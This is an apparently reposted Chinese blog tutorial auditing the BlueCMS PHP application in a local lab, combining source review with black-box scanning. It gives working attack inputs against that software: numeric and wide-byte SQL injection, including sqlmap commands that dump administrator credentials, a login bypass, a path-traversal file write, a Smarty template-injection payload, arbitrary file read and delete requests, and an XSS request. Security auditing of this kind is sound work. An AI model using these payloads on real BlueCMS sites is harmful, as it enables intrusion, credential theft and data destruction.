完整教程:bluecms代码审计

通过白盒审计+黑盒测试对bluecms的代码进行审计

php常见漏洞代码分析在之前的文章:

https://blog.csdn.net/miaositekali/article/details/155131151

白盒测试

先用fortify等工具扫一下再去分析。

1.admin/ad.php的$ad_name可能存在sql注入漏洞

看着确实没有进行过滤转义就把$ad_name字段带入insert语句执行了,并且$ad_name来自于用户,是可控的变量,存在sql注入漏洞。但是代码审计不能只看单个的文件,要综合地去看,比如这个ad.php文件有包含了一个/include/common.inc.php文件,有可能在这个文件做了过滤转义。

/include/common.inc.php这个文件引入了许多文件 直接加断点去分析吧

找到了

调用deep_addslashes()函数对前端post get来的参数进行转义,该函数的详情如下:

那这个潜在的sql注入漏洞就没了 审计到的好多sql注入漏洞也就都没了 因为common.inc.php基本所有文件都得引入包含它

那所有的sql注入漏洞就都没有了吗?

当然不是 两种方法可以绕过

1.数字型注入点。如果是数字型注入点的话不需要进行单引号的闭合,转义不起作用。

2.宽字节注入。如果是gbk编码的话,尝试进行宽字节注入,将单引号逃逸出来。

继续往下看吧 重点关注数字型注入了。

2.admin/ad.php的$ad_id存在数字型的注入。

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
     if(empty($ad_id))
     {
         return false;
     }
     $ad = $db->getone("SELECT ad_id, ad_name, time_set, start_time, end_time, content, exp_content FROM ".table('ad')." WHERE ad_id=".$ad_id);

数字型注入就可以绕过转义啦

想要进行注入还需要构造一些参数

?act=edit&ad_id=1

先手工看下有无回显吧

-111 union all select 1,2,3,4,5,6,7

common.inc.php有登录状态的验证

if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){
    if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){
        if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){
            update_admin_info($_COOKIE['Blue']['admin_name']);
        }
    }else{
        setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);
        setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);
        setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);
        echo '<script type="text/javascript">top.location="login.php?act=login";</script>';
        exit();
    }
 }elseif($_SESSION['admin_id']){
     update_admin_info($_SESSION['admin_name']);
 }

act参数值为edit时。如果未登录的状态话会执行exit。

这时候需要进行登录测试sql注入了

有回显

这个报错啥原因了?php版本的问题吗?试一试

好像是版本的原因 切换到5.3.29报错就没了

接下来就可以在有回显位的 2 6 7处进行联合注入啦

懒得注入了 直接上sql map

1.txt文件内容如下:

GET /bluecms/admin/ad.php?act=edit&ad_id=1 HTTP/1.1
Host: 192.168.1.11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6,af;q=0.5,an;q=0.4
Cookie: PHPSESSID=3jmk4rm75e5esuo22tp72jlpj4
Connection: close
python sqlmap.py -r 1.txt --batch --current-db

成功注出

继续往下看。

3.admin/article.php文件的id参数存在数字型注入

elseif($act == 'del'){
    $article = $db->getone("SELECT cid, lit_pic FROM ".table('article')." WHERE id=".$_GET['id']);
    $sql = "DELETE FROM ".table('article')." WHERE id=".intval($_GET['id']);
    $db->query($sql);
    if (file_exists(BLUE_ROOT.$article['lit_pic'])) {
        @unlink(BLUE_ROOT.$article['list_pic']);
    }
    showmsg('ɾ���������ųɹ�', 'article.php?cid='.$article['cid']);
 }

数字型注入,无需单引号的闭合,转义函数无效,存在sql注入

构造请求参数

?act=del&id=1

抛开这个漏洞不谈 是不是也对它的sql语句的这种写法有疑问呢?

table()函数是什么作用?

数据库名不是叫blue_article吗?

table函数体如下:

function table($table)
{
    global $pre;
    return  $pre .$table ;
}

$pre值是什么?

其实就是加一个前缀 这个前缀是可以自定义的

好了 好了 言归正传 继续说这个漏洞

没啥好说的直接上sqlmap

1.txt文件内容如下:

GET /bluecms/admin/article.php?act=del&id=1 HTTP/1.1
Host: 192.168.1.11
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6,af;q=0.5,an;q=0.4
Cookie: PHPSESSID=q782tvc34vamv30vqarhsg1gc1
Connection: close
python sqlmap.py -r 1.txt --batch --current-db

时间盲注和union联合注入都可以注入出来

往下注出所有表名

python sqlmap.py -r 1.txt --batch -D bluecms --tables

去拿blue_admin表中的字段

python sqlmap.py -r 1.txt --batch -D bluecms -T blue_admin --columns

尝试拿到admin_name和pwd字段的值

python sqlmap.py -r 1.txt --batch -D bluecms -T blue_admin -C admin_name,pwd --dump

成功拿到了对应的数据

okk继续往下看吧!!!!

4.admin/login.php文件存在sql注入漏洞 可实现 未授权+万能密码登录

当act=login时 是可以不exit的

直接去看login.php

elseif($act == 'do_login'){
    $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
    $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
    $remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
    if($admin_name == ''){
        showmsg('�û�������Ϊ��');
    }
    if($admin_pwd == ''){
        showmsg('�û����벻��Ϊ��');
    }
    if(check_admin($admin_name, $admin_pwd)){
        update_admin_info($admin_name);
        if($remember == 1){
            setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
            setcookie('Blue[admin_name]', $admin_name, time()+86400);
            setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
        }
    }else{
        showmsg('��������û�������������');
    }
    showmsg('��ӭ�� '.$admin_name.' ���������ڽ�ת���������...', 'index.php');
 }

check_admin函数内容如下:

function check_admin($name, $pwd)
{
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
    if($row['num'] > 0)
    {
        return true;
    }
    else
    {
        return false;
    }
}

可是$_POST['admin_name']和$_POST['admin_pwd']是有被common.inc.php去转义过的啊 是的 但是可以用宽字节注入绕过吃掉转义符号 因为数据库用的是gbk编码

可以尝试宽字节注入 进而完成 未授权+万能密码登录。

%df' or 1=1 -- a

可正常对网站后台进行管理

5.admin/tpl_manager.php文件存在文件上传(写入)漏洞

elseif($act == 'do_edit'){
    $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
    $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
    if(empty($tpl_name)){
        return false;
    }
    $tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
    if(!$handle = @fopen($tpl, 'wb')){
        showmsg("打开目标模版文件 $tpl 失败");
    }
    if(fwrite($handle, $tpl_content) === false){
        showmsg('写入目标 $tpl 失败');
    }
    fclose($handle);
    showmsg('编辑模板成功', 'tpl_manage.php');
 }

传入的tpl_name和tpl_content参数没有经过任何的过滤,tpl_manager.php文件中没有做任何的过滤,引入的common.inc.php也是没有任何的过滤,只有addslashes函数的转义,防御字符型sql注入尚可,其他的防不住的。

先调用fopen函数去尝试打开文件,但是由于是wb模式,当文件不存在时会自动创建文件,并且由于没有过滤,可以加入目录跳转符。

有登录状态权限的校验 需要登录admin后做测试

构造参数 在bluecms的根目录下写 记得要切换请求方法为post

act=do_edit&tpl_name=../../aaaa.php&tpl_content=

aaaa.php文件写入成功 去访问它

6.admin/tpl_manager.php文件存在SSTI模版注入

7.admin/tpl_manager.php文件存在SSTI模版注入

模版是什么?写代码时经常需要在html中去加入一些php代码,因为需要将php代码的执行结果到前端做展示,这样不是很优雅。所以就引入了模版这个概念,模版就是介于前端代码(html js)和后端php代码的一个东西,通过在html文件去添加一些标签,将php代码的执行结果传递到html代码中,进而去在浏览器中渲染解析。

模版本质上是执行了一些php代码,它是会被php解析执行的。

当前项目使用了smarty模版

那我们可以去构造一些包含恶意php代码的标签去注入,因为这些模版标签要想使用的话肯定是要被解析执行的,这样一来标签中的恶意代码就也会被解析执行。

{#php#}phpinfo();{#/php#}

将模版恢复

继续审计漏洞

7.admin/tpl_manager.php文件存在任意文件读取漏洞

elseif($act == 'edit'){
    $file = $_GET['tpl_name'];
    if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
        showmsg('打开目标模板文件失败');
    }
    $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
    $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
    fclose($handle);
    $tpl['name'] = $file;
    template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
    $smarty->display('tpl_info.htm');
 }

对用户输入的tpl_name依旧没有过滤 还用了fopen函数打开文件 还在content中进行了内容的展示

存在任意文件读取的漏洞 需要登录admin后测试 

?act=edit&tpl_name=../../user.php

再读一下我们之前文件上传写入的aaaa.php

over 没啥毛病

8.user.php存在任意文件删除的漏洞

//编辑个人资料
 elseif($act == 'edit_user_info'){
     $user_id = intval($_SESSION['user_id']);
     if(empty($user_id)){
         return false;
     }
    $birthday = trim($_POST['birthday']);
    $sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
    $address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
    if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
        if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
            @unlink(BLUE_ROOT.$_POST['face_pic3']);
        }
    }

face_pic3参未进行任何的过滤就使用unlink函数做了删除操作,存在任意文件的删除。

有权限校验 要登录普通用户

这次我们不自己构造包了,直接抓到对应接口的包去修改

成功删除

当然自己构造包也是可以的

act=edit_user_info&face_pic3=abc.txt

黑盒扫描

在白盒测试结束后也可以对本地部署的网站用avws工具进行扫描,发现一些漏洞。

用AVWS做管理员登陆扫描

但是扫描完成后网站有大量脏数据

看来在现网环境去做扫描 尤其是登录扫描要慎之又慎啊!!会加入好多脏数据

识别到了当前中间件的版本

网站的路径结构也有被扫出来呢

接下来就是重点去看一下扫出来的这些漏洞啦

扫描结果分析

1.有扫出FCKeditor这个文本编辑器的漏洞  这个确实是我之前代码审计疏忽的

可以查看具体的请求包和响应包的内容

请求包

POST /bluecms/include/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=2cgtg94o550kjjoi33naqq8th0
Content-Length: 43
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.0 Safari/537.36
Host: 192.168.1.11
Connection: Keep-alive
textinputs[]='");alert(12345);</script>
posted @ 2025-12-26 20:42  yangykaifa  阅读(0)  评论(0)    收藏  举报